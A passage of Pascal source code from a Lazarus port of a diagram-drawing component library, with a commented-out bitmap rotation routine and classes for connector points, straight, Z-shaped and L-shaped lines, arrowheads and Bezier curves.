pRGBTripleArray = ^TRGBTripleArray;
TRGBQuadArray = array [0..32767] of TRGBQuad;//allow integer subscript
pRGBQuadArray = ^TRGBQuadArray;
var //each of the following points to the same scanlines
RowRotatedB: pByteArray; //1 byte
RowRotatedW: pWordArray; //2 bytes
RowRotatedT: pRGBtripleArray; //3 bytes
RowRotatedQ: pRGBquadArray; //4 bytes
var //a single pixel for each format 1/8/00
TransparentB: byte;
TransparentW: word;
TransparentT: TRGBTriple;
TransparentQ: TRGBQuad;
var
DIB: TDIBSection; //10/31/00
SiCoPhi: SiCoDiType; //sine,cosine, distance
begin
{ TODO -oTC -cLazarus_Port_Step2 : The code rotating bitmaps is specific to windows. Not used. }
//with BitMapOriginal do
//begin
// { TODO -oTC -cLazarus_Port_Step2 : function CreatePenHandle needs to be ported! }
// TransparentB := 0; TransparentW := 0; //added by AWJ to avoid warning messages
////Decipher the appropriate pixelformat to use Delphi byte subscripting 1/6/00
////pfDevice, pf1bit, pf4bit, pf8bit, pf15bit, pf16bit, pf24bit, pf32bit,pfCustom;
// case pixelformat of
// pfDevice: begin //handle only pixelbits= 1..8,16,24,32 //10/31/00
// nbits := GetDeviceCaps( Canvas.Handle,BITSPIXEL )+1 ;
// nbytes := nbits div 8; //no. bytes for bits per pixel
// if (nbytes>0)and(nbits mod 8 <> 0) then exit;//ignore if invalid
// end;
// pf1bit: nBytes:=0;// 1bit, TByteArray //2 color pallete , re-assign byte value to 8 pixels, for entire scan line
// pf4bit: nBytes:=0;// 4bit, PByteArray // 16 color pallette; build nibble for pixel pallette index; convert to 8 pixels
// pf8bit: nBytes:=1;// 8bit, PByteArray // byte pallette, 253 out of 256 colors; depends on display mode, needs truecolor ;
// pf15bit: nBytes:=2;// 15bit,PWordArrayType // 0rrrrr ggggg bbbbb 0+5+5+5
// pf16bit: nBytes:=2;// 16bit,PWordArrayType // rrrrr gggggg bbbbb 5+6+5
// pf24bit: nBytes:=3;// 24bit,pRGBtripleArray// bbbbbbbb gggggggg rrrrrrrr 8+8+8
// pf32bit: nBytes:=4;// 32bit,pRGBquadArray // bbbbbbbb gggggggg rrrrrrrr aaaaaaaa 8+8+8+alpha
// // can assign 'Single' reals to this for generating displays/plasma!
// pfCustom: begin //handle only pixelbits= 1..8,16,24,32 //10/31/00
// GetObject( Handle, SizeOf(DIB), @DIB );
// nbits := DIB.dsBmih.biSizeImage;
// nbytes := nbits div 8;
// if (nbytes>0)and(nbits mod 8 <> 0) then exit;//ignore if invalid
// end;// pfcustom
// else exit;// 10/31/00 ignore invalid formats
// end;// case
//// BitmapRotated.PixelFormat is the same as BitmapOriginal.PixelFormat;
//// IF PixelFormat is less than 8 bit, then BitMapOriginal.PixelFormat = pf8Bit,
//// because Delphi can't index to bits, just bytes;
//// The next time BitMapOriginal is used it will already be converted.
////( bmp storage may increase by factor of n*n, where n=8/(no. bits per pixel) )
// if nBytes=0 then PixelFormat := pf8bit; //note that input bmp is changed
////assign copies all properties, including pallette and transparency 11/7/00
////fix bug 1/30/00 where BitMapOriginal was overwritten bec. pointer was copied
// BitmapRotated.Assign( BitMapOriginal);
////COUNTERCLOCKWISE rotation angle in radians. 12/10/99
// sinTheta := SIN( theta ); cosTheta := COS( theta );
////SINCOS( theta, sinTheta, cosTheta ) ; math.pas requires extended reals.
////calculate the enclosing rectangle 12/15/00
// NewWidth := ABS( ROUND( Height*sinTheta) ) + ABS( ROUND( Width*cosTheta ) );
// NewHeight := ABS( ROUND( Width*sinTheta ) ) + ABS( ROUND( Height*cosTheta) );
////diff size bitmaps have diff resolution of angle, ie r*sin(theta)<1 pixel
////use the small angle approx: sin(theta) ~~ theta //11/7/00
// if ( ABS(theta)*MAX( width,height ) ) > 1 then
// begin//non-zero rotation
// //set output bitmap formats; we do not assume a fixed format or size 1/6/00
// BitmapRotated.Width := NewWidth; //resize it for rotation
// BitmapRotated.Height := NewHeight;
// //local constants for loop, each was hit at least width*height times 1/8/00
// Rwi := NewWidth - 1; //right column index
// Rht := NewHeight - 1;//bottom row index
// Owi := Width - 1; //transp color column index
// Oht := Height - 1; //transp color row index
// //Transparent pixel color used for out of range pixels 1/8/00
// //how to translate a Bitmap.TransparentColor=Canvas.Pixels[0, Height - 1];
// // from Tcolor into pixelformat..
// { TODO -oTC -cLazarus_Port_Step1 : Scanline is not recognized }
// //TCQ case nBytes of
// // 0,1: TransparentB := PByteArray ( Scanline[ Oht ] )[0];
// // 2: TransparentW := PWordArray ( Scanline[ Oht ] )[0];
// // 3: TransparentT := pRGBtripleArray( Scanline[ Oht ] )[0];
// // 4: TransparentQ := pRGBquadArray ( Scanline[ Oht ] )[0];
// //end;//case *)
// // Step through each row of rotated image.
// FOR j := Rht DOWNTO 0 DO //1/8/00
// BEGIN //for j
// { TODO -oTC -cLazarus_Port_Step1 : Scanline not recognized }
// //TCQ
// //case nBytes of //1/6/00
// //0,1: RowRotatedB := BitmapRotated.Scanline[ j ] ;
// //2: RowRotatedW := BitmapRotated.Scanline[ j ] ;
// //3: RowRotatedT := BitmapRotated.Scanline[ j ] ;
// //4: RowRotatedQ := BitmapRotated.Scanline[ j ] ;
// //end;//case
// // offset origin by the growth factor //12/25/99
// // jPrime := 2*(j - (NewHeight - Height) div 2 - jRotationAxis) + 1 ;
// jPrime := 2*j - NewHeight + 1 ;
// // Step through each column of rotated image
// FOR i := Rwi DOWNTO 0 DO //1/8/00
// BEGIN //for i
// // offset origin by the growth factor //12/25/99
// //iPrime := 2*(i - (NewWidth - Width) div 2 - iRotationAxis ) + 1;
// iPrime := 2*i - NewWidth + 1;
// // Rotate (iPrime, jPrime) to location of desired pixel (iPrimeRotated,jPrimeRotated)
// // Transform back to pixel coordinates of image, including translation
// // of origin from axis of rotation to origin of image.
// //iOriginal := ( ROUND( iPrime*CosTheta - jPrime*sinTheta ) - 1) DIV 2 + iRotationAxis;
// //jOriginal := ( ROUND( iPrime*sinTheta + jPrime*cosTheta ) - 1) DIV 2 + jRotationAxis;
// iOriginal := ( ROUND( iPrime*CosTheta - jPrime*sinTheta ) -1 + width ) DIV 2;
// jOriginal := ( ROUND( iPrime*sinTheta + jPrime*cosTheta ) -1 + height) DIV 2 ;
// // Make sure (iOriginal, jOriginal) is in BitmapOriginal. If not,
// // assign background color to corner points.
// IF ( iOriginal >= 0 ) AND ( iOriginal <= Owi ) AND
// ( jOriginal >= 0 ) AND ( jOriginal <= Oht ) //1/8/00
// THEN BEGIN //inside
// // Assign pixel from rotated space to current pixel in BitmapRotated
// //( nearest neighbor interpolation)
// { TODO -oTC -cLazarus_Port_Step1 : Scanline not recognized }
// //TCQ
// //case nBytes of //get pixel bytes according to pixel format 1/6/00
// //0,1:RowRotatedB[i] := pByteArray( scanline[joriginal] )[iOriginal];
// //2: RowRotatedW[i] := pWordArray( Scanline[jOriginal] )[iOriginal];
// //3: RowRotatedT[i] := pRGBtripleArray( Scanline[jOriginal] )[iOriginal];
// //4: RowRotatedQ[i] := pRGBquadArray( Scanline[jOriginal] )[iOriginal];
// //end;//case
// END //inside
// ELSE
// BEGIN //outside
// //12/10/99 set background corner color to transparent (lower left corner)
// // RowRotated[i]:=tpixelformat(BitMapOriginal.TRANSPARENTCOLOR) ; wont work
// case nBytes of
// 0,1:RowRotatedB[i] := TransparentB;
// 2: RowRotatedW[i] := TransparentW;
// 3: RowRotatedT[i] := TransparentT;
// 4: RowRotatedQ[i] := TransparentQ;
// end;//case
// END //if inside
// END //for i
// END;//for j
// end;//non-zero rotation
////offset to the apparent center of rotation 11/12/00 12/25/99
////rotate/translate the old bitmap origin to the new bitmap origin,FIXED 11/12/00
// sicoPhi := sicodiPoint( POINT( width div 2, height div 2 ),oldaxis );
// //sine/cosine/dist of axis point from center point
// with sicoPhi do begin
////NewAxis := NewCenter + dist* <sin( theta+phi ),cos( theta+phi )>
// NewAxis.x := newWidth div 2 + ROUND( di*(CosTheta*co - SinTheta*si) );
// NewAxis.y := newHeight div 2- ROUND( di*(SinTheta*co + CosTheta*si) );//flip yaxis
// end;
//end;
end; {RotateBitmap}
// ==================== TplSolidPoint =============================================
constructor TplSolidPoint.Create(AOwner: TComponent);
var
margX2: integer;
begin
inherited;
InternalSetCount(1);
Pen.Width := 3;
margX2 := Margin * 2;
Bitmap.SetSize(margX2,margX2);
SetBounds(0, 0, margX2, margX2);
DoSaveInfo;
end;
procedure TplSolidPoint.AddConnector(Connector: TplConnector);
begin
inherited;
//to control this connection point it's important it's on top
//if assigned(Connector) then Connector.SendToBack;
//BringToFront;
with Connector do
begin
if (Connection1 is TplSolidPoint) then
Connection1.BringToFront;
if (Connection2 is TplSolidPoint) then
Connection2.BringToFront;
end;
end;
procedure TplSolidPoint.CalcMargin;
begin
//the following formula is empirical ...
Margin := max(ButtonSize + 2, (pen.Width * 3) div 2 + max(2, abs(ShadowSize)));
//the following is also needed (see ancestor method) ...
ResizeNeeded;
end;
procedure TplSolidPoint.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
pw: integer;
begin
with acanvas do
begin
pw := Pen.Width - 1;
if pw < 2 then
exit;
brush.Color := Pen.Color;
with BtnPoints[0] do
Ellipse(X - pw, Y - pw, X + pw, Y + pw);
end;
end;
// ====================== TplLine ===============================
constructor TplLine.Create(AOwner: TComponent);
begin
inherited;
fArrowSize:= 5;
fArrowFill:= true;
DoSaveInfo;
end;
procedure TplLine.SetArrowSize(const Val:Cardinal);
begin
if fArrowSize=val then exit;
fArrowSize:=val;
UpdateNeeded;
end;
procedure TplLine.SetArrowFill(const Val:Boolean);
begin
if fArrowFill=val then exit;
fArrowFill:=val;
UpdateNeeded;
end;
procedure TplLine.SetButtonCount(Count: integer);
begin
if Count < 2 then
Count := 2;
if (ButtonCount = Count) or IsConnected then
exit;
if Count > ButtonCount then
while Count > ButtonCount do
Grow
else
while Count < ButtonCount do
Shrink;
end;
function TplLine.Grow(TopEnd: boolean): boolean;
var
i: integer;
begin
Result := not IsConnected;
if not Result then
exit;
InternalSetCount(buttonCount + 1);
if TopEnd then
begin
//first, move all the buttons in the array down a place ...
for i := buttonCount - 1 downto 1 do
BtnPoints[i] := BtnPoints[i - 1];
//update new button ...
BtnPoints[0] := Point(2 * BtnPoints[1].X - BtnPoints[2].X, 2 * BtnPoints[1].Y - BtnPoints[2].Y);
end
else
begin
//update new button ...
BtnPoints[buttonCount - 1] :=
Point(2 * BtnPoints[buttonCount - 2].X - BtnPoints[buttonCount - 3].X, 2 * BtnPoints[buttonCount - 2].Y - BtnPoints[buttonCount - 3].Y);
end;
ResizeNeeded;
end;
function TplLine.Shrink(TopEnd: boolean): boolean;
var
i: integer;
begin
Result := not IsConnected and (ButtonCount > 2);
if not Result then
exit;
if TopEnd then //first, move all the buttons in the array up a place ...
for i := 1 to buttonCount - 1 do
BtnPoints[i - 1] := BtnPoints[i];
InternalSetCount(buttonCount - 1);
ResizeNeeded;
end;
procedure TplLine.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
startPt, endPt: TPoint;
begin
with acanvas do
begin
endPt := BtnPoints[ButtonCount - 1];
startPt := BtnPoints[0];
//if arrows are used then inset the lines to avoid spoiling them ...
if Arrow2 then
BtnPoints[ButtonCount - 1] := ArrowBase(BtnPoints[ButtonCount - 2], BtnPoints[ButtonCount - 1], (2 * pen.Width div 3) + 5);
if Arrow1 then
BtnPoints[0] := ArrowBase(BtnPoints[1], BtnPoints[0], (2 * pen.Width div 3) + 5);
//draw the lines ...
if (acanvas.pen.Style <> psSolid) then
Brush.Style := bsClear;
aCanvas.PolyLine(BtnPoints);
//restore first and last BtnPoints ...
BtnPoints[0] := startPt;
BtnPoints[ButtonCount - 1] := endPt;
if Arrow2 then
DrawArrowHead(acanvas,
BtnPoints[buttonCount - 2], BtnPoints[buttonCount - 1], fArrowSize, fArrowFill);
if Arrow1 then
DrawArrowHead(acanvas, BtnPoints[1], BtnPoints[0], fArrowSize, fArrowFill);
end;
end;
// ========================= TplZLine =====================================
constructor TplZLine.Create(AOwner: TComponent);
var
mp: TPoint;
begin
inherited;
fArrowSize:= 5;
fArrowFill:= true;
InternalSetCount(4);
QuadPtConnect := True;
AutoOrientation := True;
mp := ObjectMidPoint;
BtnPoints[0] := Point(Margin, Margin);
BtnPoints[3] := Point(Width - Margin, Height - Margin);
BtnPoints[1] := Point(mp.X, BtnPoints[0].Y);
BtnPoints[2] := Point(mp.X, BtnPoints[3].Y);
AutoCenter := True;
DoSaveInfo;
end;
procedure TplZLine.SetArrowSize(const Val:Cardinal);
begin
if fArrowSize=val then exit;
fArrowSize:=val;
UpdateNeeded;
end;
procedure TplZLine.SetArrowFill(const Val:Boolean);
begin
if fArrowFill=val then exit;
fArrowFill:=val;
UpdateNeeded;
end;
function TplZLine.IsValidBtnDown(BtnIdx: integer): boolean;
begin
//don't allow clicking of auto-centering buttons ...
Result := inherited IsValidBtnDown(BtnIdx) and not (fAutoCenter and (BtnIdx in [1, 2]));
end;
procedure TplZLine.UpdateNonEndButtonsAfterBtnMove;
const
MIN_Z = 20; //avoids (if possible) Z line being too close to either end pt
procedure CheckHorz;
var
vectorUp: boolean;
midX: integer;
begin
midX := (BtnPoints[3].X + BtnPoints[0].X) div 2;
if fAutoCenter then
begin
BtnPoints[1].X := midX;
BtnPoints[1].Y := BtnPoints[0].Y;
BtnPoints[2].X := midX;
BtnPoints[2].Y := BtnPoints[3].Y;
end
else
begin
BtnPoints[1].Y := BtnPoints[0].Y;
BtnPoints[2].Y := BtnPoints[3].Y;
vectorUp := BtnPoints[3].X >= BtnPoints[0].X;
if vectorUp then
begin
BtnPoints[1].X := min(max(BtnPoints[0].X, BtnPoints[1].X), BtnPoints[3].X);
//try and stop Z's becoming L's if possible ...
if BtnPoints[1].X - BtnPoints[0].X < MIN_Z then
BtnPoints[1].X := min(BtnPoints[0].X + MIN_Z, midX)
else if BtnPoints[3].X - BtnPoints[1].X < MIN_Z then
BtnPoints[1].X := max(BtnPoints[3].X - MIN_Z, midX);
BtnPoints[2].X := BtnPoints[1].X;
end
else
begin
BtnPoints[1].X := max(min(BtnPoints[0].X, BtnPoints[1].X), BtnPoints[3].X);
//try and stop Z's becoming L's if possible ...
if BtnPoints[0].X - BtnPoints[1].X < MIN_Z then
BtnPoints[1].X := max(BtnPoints[0].X - MIN_Z, midX)
else if BtnPoints[1].X - BtnPoints[3].X < MIN_Z then
BtnPoints[1].X := min(BtnPoints[3].X + MIN_Z, midX);
BtnPoints[2].X := BtnPoints[1].X;
end;
end;
end;
procedure CheckVert;
var
vectorLeft: boolean;
midY: integer;
begin
midY := (BtnPoints[3].Y + BtnPoints[0].Y) div 2;
if fAutoCenter then
begin
BtnPoints[1].y := midY;
BtnPoints[1].X := BtnPoints[0].X;
BtnPoints[2].Y := midY;
BtnPoints[2].X := BtnPoints[3].X;
end
else
begin
BtnPoints[1].X := BtnPoints[0].X;
BtnPoints[2].X := BtnPoints[3].X;
vectorLeft := BtnPoints[3].Y >= BtnPoints[0].Y;
if vectorLeft then
begin
BtnPoints[1].Y := min(max(BtnPoints[0].Y, BtnPoints[1].Y), BtnPoints[3].Y);
//try and stop Z's becoming L's if possible ...
if BtnPoints[1].Y - BtnPoints[0].Y < MIN_Z then
BtnPoints[1].Y := min(BtnPoints[0].Y + MIN_Z, midY)
else if BtnPoints[3].Y - BtnPoints[1].Y < MIN_Z then
BtnPoints[1].Y := max(BtnPoints[3].Y - MIN_Z, midY);
BtnPoints[2].Y := BtnPoints[1].Y;
end
else
begin
BtnPoints[1].Y := max(min(BtnPoints[0].Y, BtnPoints[1].Y), BtnPoints[3].Y);
//try and stop Z's becoming L's if possible ...
if BtnPoints[0].Y - BtnPoints[1].Y < MIN_Z then
BtnPoints[1].Y := max(BtnPoints[0].Y - MIN_Z, midY)
else if BtnPoints[1].Y - BtnPoints[3].Y < MIN_Z then
BtnPoints[1].Y := min(BtnPoints[3].Y + MIN_Z, midY);
BtnPoints[2].Y := BtnPoints[1].Y;
end;
end;
end;
begin
if Orientation = oHorizontal then
CheckHorz
else
CheckVert;
end;
procedure TplZLine.DoQuadPtConnection;
var
ScreenMp1, ScreenMp2: TPoint;
Rec1, Rec2: TRect;
function RecsOverlapVertically: boolean;
begin
Result := ((Rec2.Left <= Rec1.Right) and (Rec2.Right >= Rec1.Left)) or ((Rec1.Left <= Rec2.Right) and (Rec1.Right >= Rec2.Left));
end;
function RecsOverlapHorizontally: boolean;
begin
Result := ((Rec2.Top <= Rec1.Bottom) and (Rec2.Bottom >= Rec1.Top)) or ((Rec1.Top <= Rec2.Bottom) and (Rec1.Bottom >= Rec2.Top));
end;
begin
//get orientation points ...
if assigned(Connection1) then
begin
ScreenMp1 := Connection1.ClientToScreen(Connection1.ObjectMidPoint);
with Connection1.BoundsRect do
Rec1 := Rect(Left, Top, Right, Bottom);
end
else
begin
ScreenMp1 := ClientToScreen(BtnPoints[0]);
with BtnPoints[0] do
Rec1 := Rect(x, y, x, y);
end;
if assigned(Connection2) then
begin
ScreenMp2 := Connection2.ClientToScreen(Connection2.ObjectMidPoint);
with Connection2.BoundsRect do
Rec2 := Rect(Left, Top, Right, Bottom);
end
else
begin
ScreenMp2 := ClientToScreen(BtnPoints[ButtonCount - 1]);
with BtnPoints[ButtonCount - 1] do
Rec1 := Rect(x, y, x, y);
end;
//check and possibly adjust orientation ...
if not AutoOrientation then
//do nothing
else if (Orientation = oVertical) then
begin
if RecsOverlapHorizontally and not RecsOverlapVertically then
Orientation := oHorizontal;
end
else if (Orientation = oHorizontal) then
begin
if RecsOverlapVertically and not RecsOverlapHorizontally then
Orientation := oVertical;
end;
//finally move ends to appropriate connection points ...
if Orientation = oHorizontal then
begin
if ScreenMp1.X < ScreenMp2.X then
begin
if assigned(Connection1) then
BtnPoints[0] :=
ScreenToClient(Connection1.QuadScreenPt(qcRight));
if assigned(Connection2) then
BtnPoints[ButtonCount - 1] :=
ScreenToClient(Connection2.QuadScreenPt(qcLeft));
end
else
begin
if assigned(Connection1) then
BtnPoints[0] :=
ScreenToClient(Connection1.QuadScreenPt(qcLeft));
if assigned(Connection2) then
BtnPoints[ButtonCount - 1] :=
ScreenToClient(Connection2.QuadScreenPt(qcRight));
end;
end
else
begin
if ScreenMp1.Y < ScreenMp2.Y then
begin
if assigned(Connection1) then
BtnPoints[0] :=
ScreenToClient(Connection1.QuadScreenPt(qcBottom));
if assigned(Connection2) then
BtnPoints[ButtonCount - 1] :=
ScreenToClient(Connection2.QuadScreenPt(qcTop));
end
else
begin
if assigned(Connection1) then
BtnPoints[0] :=
ScreenToClient(Connection1.QuadScreenPt(qcTop));
if assigned(Connection2) then
BtnPoints[ButtonCount - 1] :=
ScreenToClient(Connection2.QuadScreenPt(qcBottom));
end;
end;
end;
procedure TplZLine.DrawBtn(BtnPt: TPoint; index: integer; Pressed, LastBtn: boolean);
begin
if not Self.fAutoCenter or (index = 0) or (index = 3) then
inherited;
end;
procedure TplZLine.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
begin
BtnPoints[BtnIdx] := NewPt;
if (BtnIdx = 1) then
begin
if Orientation = oHorizontal then
BtnPoints[2].X := BtnPoints[1].X
else
BtnPoints[2].Y := BtnPoints[1].Y;
UpdateNeeded;
end
else if (BtnIdx = 2) then
begin
if Orientation = oHorizontal then
BtnPoints[1].X := BtnPoints[2].X
else
BtnPoints[1].Y := BtnPoints[2].Y;
UpdateNeeded;
end
else
ResizeNeeded; //an end button, so it's evidently not attached
UpdateNonEndButtonsAfterBtnMove;
end;
procedure TplZLine.SetAutoCenter(AutoCenter: boolean);
begin
if fAutoCenter = AutoCenter then
exit;
fAutoCenter := AutoCenter;
if AutoCenter then
UpdateNonEndButtonsAfterBtnMove;
UpdateNeeded;
end;
procedure TplZLine.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
startPt, endPt: TPoint;
begin
with acanvas do
begin
endPt := BtnPoints[ButtonCount - 1];
startPt := BtnPoints[0];
//if arrows are used then inset the lines to avoid spoiling them ...
if Arrow2 then
BtnPoints[ButtonCount - 1] := ArrowBase(BtnPoints[ButtonCount - 2], BtnPoints[ButtonCount - 1], (2 * pen.Width div 3) + 5);
if Arrow1 then
BtnPoints[0] := ArrowBase(BtnPoints[1], BtnPoints[0], (2 * pen.Width div 3) + 5);
//draw the lines ...
if (acanvas.pen.Style <> psSolid) then
Brush.Style := bsClear;
aCanvas.PolyLine(BtnPoints);
//restore first and last BtnPoints ...
BtnPoints[0] := startPt;
BtnPoints[ButtonCount - 1] := endPt;
if Arrow2 then
DrawArrowHead(acanvas,
BtnPoints[buttonCount - 2], BtnPoints[buttonCount - 1], fArrowSize, fArrowFill);
if Arrow1 then
DrawArrowHead(acanvas, BtnPoints[1], BtnPoints[0], fArrowSize, fArrowFill);
end;
end;
procedure TplZLine.Rotate(degrees: integer);
begin
//disable rotate() for TplZLine
end;
procedure TplZLine.SaveToPropStrings;
begin
inherited;
AddToPropStrings('Orientation', GetEnumProp(self, 'Orientation'));
AddToPropStrings('AutoCenter', GetEnumProp(self, 'AutoCenter'));
AddToPropStrings('AutoOrientation', GetEnumProp(self, 'AutoOrientation'));
end;
// ================ TplLLine =========================================
constructor TplLLine.Create(AOwner: TComponent);
begin
inherited;
fArrowSize:= 5;
fArrowFill:= true;
QuadPtConnect := True;
//AutoOrientation := false;
DoSaveInfo;
end;
procedure TplLLine.SetArrowSize(const Val:Cardinal);
begin
if fArrowSize=val then exit;
fArrowSize:=val;
UpdateNeeded;
end;
procedure TplLLine.SetArrowFill(const Val:Boolean);
begin
if fArrowFill=val then exit;
fArrowFill:=val;
UpdateNeeded;
end;
procedure TplLLine.Rotate(degrees: integer);
begin
//disable rotate() for TplLLine
end;
procedure TplLLine.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
startPt, endPt, midPt: TPoint;
begin
with acanvas do
begin
endPt := BtnPoints[1];
startPt := BtnPoints[0];
if ((Orientation = oHorizontal) and (startPt.X < endPt.X)) or ((Orientation = oVertical) and (startPt.X > endPt.X)) then
midPt := Point(endPt.X, startPt.Y)
else
midPt := Point(startPt.X, endPt.Y);
//if arrows are used then inset the lines to avoid spoiling them ...
if Arrow2 then
endPt := ArrowBase(midPt, endPt, (2 * pen.Width div 3) + 5);
if Arrow1 then
startPt := ArrowBase(midPt, startPt, (2 * pen.Width div 3) + 5);
//draw the lines ...
if (acanvas.pen.Style <> psSolid) then
Brush.Style := bsClear;
aCanvas.PolyLine([startPt, midPt, endPt]);
if Arrow2 then
DrawArrowHead(acanvas, midPt, BtnPoints[1], fArrowSize, fArrowFill);
if Arrow1 then
DrawArrowHead(acanvas, midPt, BtnPoints[0], fArrowSize, fArrowFill);
end;
end;
procedure TplLLine.SaveToPropStrings;
begin
inherited;
AddToPropStrings('Orientation', GetEnumProp(self, 'Orientation'));
end;
procedure TplLLine.DoQuadPtConnection;
var
ScreenMp1, ScreenMp2: TPoint;
begin
//get orientation points ...
if assigned(Connection1) then
ScreenMp1 := Connection1.ClientToScreen(Connection1.ObjectMidPoint)
else
ScreenMp1 := ClientToScreen(BtnPoints[0]);
if assigned(Connection2) then
ScreenMp2 := Connection2.ClientToScreen(Connection2.ObjectMidPoint)
else
ScreenMp2 := ClientToScreen(BtnPoints[ButtonCount - 1]);
if assigned(Connection1) then
begin
if ((Orientation = oHorizontal) and (ScreenMp1.X < ScreenMp2.X)) or ((Orientation = oVertical) and (ScreenMp1.X >= ScreenMp2.X)) then
begin
if ScreenMp1.X < ScreenMp2.X then
BtnPoints[0] := ScreenToClient(Connection1.QuadScreenPt(qcRight))
else
BtnPoints[0] := ScreenToClient(Connection1.QuadScreenPt(qcLeft));
end
else
begin
if ScreenMp1.Y < ScreenMp2.Y then
BtnPoints[0] := ScreenToClient(Connection1.QuadScreenPt(qcBottom))
else
BtnPoints[0] := ScreenToClient(Connection1.QuadScreenPt(qcTop));
end;
end;
if assigned(Connection2) then
begin
if ((Orientation = oHorizontal) and (ScreenMp1.X < ScreenMp2.X)) or ((Orientation = oVertical) and (ScreenMp1.X >= ScreenMp2.X)) then
begin
if ScreenMp1.Y < ScreenMp2.Y then
BtnPoints[1] := ScreenToClient(Connection2.QuadScreenPt(qcTop))
else
BtnPoints[1] := ScreenToClient(Connection2.QuadScreenPt(qcBottom));
end
else
begin
if ScreenMp1.X < ScreenMp2.X then
BtnPoints[1] := ScreenToClient(Connection2.QuadScreenPt(qcLeft))
else
BtnPoints[1] := ScreenToClient(Connection2.QuadScreenPt(qcRight));
end;
end;
end;
// =============== TplBezier ==================================
constructor TplBezier.Create(AOwner: TComponent);
var
i, w, h: integer;
begin
inherited Create(AOwner);
fArrowSize:= 5;
fArrowFill:= true;
InternalSetCount(4);
fSmooth := True;
w := Width - Margin * 2;
h := Height - Margin * 2;
for i := 0 to ButtonCount - 1 do
BtnPoints[i] :=
Point(Margin + i * w div (ButtonCount - 1), Margin + i * h div (ButtonCount - 1));
DoSaveInfo;
end;
procedure TplBezier.SetArrowSize(const Val:Cardinal);
begin
if fArrowSize=val then exit;
fArrowSize:=val;
UpdateNeeded;
end;
procedure TplBezier.SetArrowFill(const Val:Boolean);
begin
if fArrowFill=val then exit;
fArrowFill:=val;
UpdateNeeded;
end;
procedure TplBezier.SetArrow1(Arrow: boolean);
begin
inherited;
if Arrow then
Filled := False;
end;
procedure TplBezier.SetArrow2(Arrow: boolean);
begin
inherited;
if Arrow then
Filled := False;
end;
procedure TplBezier.SetFilled(isFilled: boolean);
begin
if fFilled = isFilled then
exit;
fFilled := isFilled;
if fFilled then
begin
Arrow1 := False;
Arrow2 := False;
end;
UpdateNeeded;
end;
procedure TplBezier.SetButtonCount(Count: integer);
begin
if Count < 4 then
Count := 4;
if (ButtonCount = Count) or IsConnected then
exit;
Count := 3 * (Count div 3) + 1;
if Count > ButtonCount then
while Count > ButtonCount do
Grow
else
while Count < ButtonCount do
Shrink;
end;
function TplBezier.Grow(TopEnd: boolean): boolean;
var
i: integer;
begin
Result := not IsConnected;
if not Result then
exit;
InternalSetCount(buttonCount + 3);
if TopEnd then
begin
//first, move all the buttons in the array down three places ...
for i := buttonCount - 1 downto 3 do
BtnPoints[i] := BtnPoints[i - 3];
//update new buttons ...
BtnPoints[0] := Point(3 * BtnPoints[3].X - 2 * BtnPoints[4].X, 3 * BtnPoints[3].Y - 2 * BtnPoints[4].Y);
BtnPoints[2] := MidPoint(BtnPoints[0], BtnPoints[3]);
BtnPoints[1] := MidPoint(BtnPoints[0], BtnPoints[2]);
end
else
begin
//update new buttons ...
BtnPoints[buttonCount - 1] :=
Point(3 * BtnPoints[buttonCount - 4].X - 2 * BtnPoints[buttonCount - 5].X, 3 * BtnPoints[buttonCount - 4].Y - 2 * BtnPoints[buttonCount - 5].Y);
BtnPoints[buttonCount - 3] :=
MidPoint(BtnPoints[buttonCount - 1], BtnPoints[buttonCount - 4]);
BtnPoints[buttonCount - 2] := MidPoint(BtnPoints[buttonCount - 3], BtnPoints[buttonCount - 1]);
end;
ResizeNeeded;
end;
function TplBezier.Shrink(TopEnd: boolean): boolean;
var
i: integer;
begin
Result := not IsConnected and (ButtonCount > 4);
if not Result then
exit;
if TopEnd then //first, move all the buttons in the array up three places ...
for i := 3 to buttonCount - 1 do
BtnPoints[i - 3] := BtnPoints[i];
InternalSetCount(buttonCount - 3);
ResizeNeeded;
end;
procedure TplBezier.DrawControlLines;
var
i: integer;
begin
inherited;
with canvas do
begin
with BtnPoints[0] do
Moveto(X, Y);
for i := 0 to (ButtonCount div 3) - 1 do
begin
with BtnPoints[i * 3 + 1] do
Lineto(X, Y);
with BtnPoints[i * 3 + 2] do
Moveto(X, Y);
with BtnPoints[i * 3 + 3] do
Lineto(X, Y);
end;
end;
end;
{ DONE -oTC -cLazarus_Port_Step2 : replaced win32 polybezier by Canvas.PolyBezier }
{ DONE -oTC -cLazarus_Port_Step2 : CreatePenHandle and other pen functions
are not needed now that polybezier has been replaced. Removed
DrawDottedPolyBezier(Canvas: TCanvas) procedure, replaced by
Canvas.PolyBezier( BtnPoints); }
procedure TplBezier.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
startPt, endPt: TPoint;
begin
with acanvas do
begin
endPt := BtnPoints[ButtonCount - 1];
startPt := BtnPoints[0];
//if arrows are used then inset the lines to avoid spoiling them ...
if Arrow2 then
BtnPoints[ButtonCount - 1] := ArrowBase(BtnPoints[ButtonCount - 2], BtnPoints[ButtonCount - 1], (2 * pen.Width div 3) + 5);
if Arrow1 then
BtnPoints[0] := ArrowBase(BtnPoints[1], BtnPoints[0], (2 * pen.Width div 3) + 5);
//draw the curve ...
if (acanvas.pen.Style <> psSolid) then
Brush.Style := bsClear;
if Filled then
begin
acanvas.Brush.Color := color;
{ TODO -oTC -cLazarus_Port_Step2 : BeginPath and other functions }
{ TODO -oTC -cLazarus_Test : Add test case to check filled polybezier.}
//TCQ
//beginpath(handle);
PolyBezier(BtnPoints, Filled);
//endpath(handle);
//StrokeAndFillPath(handle);
end
else
aCanvas.PolyBezier(BtnPoints);
//restore first and last BtnPoints ...
BtnPoints[0] := startPt;
BtnPoints[ButtonCount - 1] := endPt;
//finally draw the arrows ...
if Arrow2 then
DrawArrowHead(acanvas,
BtnPoints[ButtonCount - 2], BtnPoints[ButtonCount - 1], fArrowSize, fArrowFill);
if Arrow1 then
DrawArrowHead(acanvas, BtnPoints[1], BtnPoints[0], fArrowSize, fArrowFill);
end;
end;
procedure TplBezier.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
var
dx, dy: integer;
begin
//? keep polybezier control buttons aligned flat to maintain smooth joins ...
if Smooth then
begin
//if a center (non-control) button ...
if (BtnIdx mod 3 = 0) or (BtnIdx = 0) or (BtnIdx = ButtonCount - 1) then
begin
